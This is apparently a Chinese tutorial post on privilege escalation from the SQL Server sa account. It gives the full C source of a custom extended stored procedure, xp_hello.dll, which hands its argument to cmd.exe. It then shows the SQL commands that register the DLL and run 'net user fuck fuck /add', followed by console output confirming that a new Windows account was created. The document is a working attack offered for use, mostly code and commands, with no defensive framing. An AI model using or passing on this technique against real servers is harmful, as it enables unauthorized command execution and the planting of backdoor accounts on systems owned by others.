xp_hello.dll(sa) 提权

在VC6里面新建一个储存过程项目，在proc.cpp中写入如下代码：

1. #include
   
2. 
   
3. #include
   
4. 
   
5. #define XP_NOERROR 0
   
6. 
   
7. #define XP_ERROR 1
   
8. 
   
9. #define MAXCOLNAME 25
   
10. 
    
11. #define MAXNAME 25
    
12. 
    
13. #define MAXTEXT 255
    
14. 
    
15. #ifdef __cplusplus
    
16. 
    
17. extern “C” {
    
18. 
    
19. #endif
    
20. 
    
21. RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);
    
22. 
    
23. #ifdef __cplusplus
    
24. 
    
25. }
    
26. 
    
27. #endif
    
28. 
    
29. RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)
    
30. 
    
31. {
    
32. 
    
33. /***************************** 说明 *************************
    
34. 
    
35. 由于本人人品不好还是怎么的，库里没有srv_paraminfo函数，卧槽，
    
36. 
    
37. 无赖之下，只好用老式的srv_paramdata
    
38. 
    
39. *************************************************************/
    
40. 
    
41. int bufLen;
    
42. 
    
43. DBCHAR spName[MAXNAME];
    
44. 
    
45. DBCHAR spText[MAXTEXT];
    
46. 
    
47. DBCHAR spBuf[MAXTEXT];
    
48. 
    
49. unsigned char cmdline[255] = “”;
    
50. 
    
51. if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断，如果参数不是1个就立即退出
    
52. 
    
53. bufLen = srv_paramlen(srvproc,1);
    
54. 
    
55. if(!bufLen) return XP_ERROR;
    
56. 
    
57. wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值
    
58. 
    
59. wsprintf(spName, “xp_hello”);
    
60. 
    
61. wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:[e-mail]”, spName,spBuf);
    
62. 
    
63. srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息
    
64. 
    
65. wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数
    
66. 
    
67. ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令
    
68. 
    
69. return XP_NOERROR ;
    
70. 
    
71. }

复制代码

编译生成xp_hello.dll

以SA连接SQL Server 执行

dbcc addextendedproc(‘xp_hello’,'c:\xp_hello.dll’);

提示成功过后，调用

exec xp_hello ‘net user fuck fuck /add’;

这样系统里面就多了个fuck账户

C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user

\\PC-200910151119 的用户帐户

—————————————————————————–
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
命令成功完成。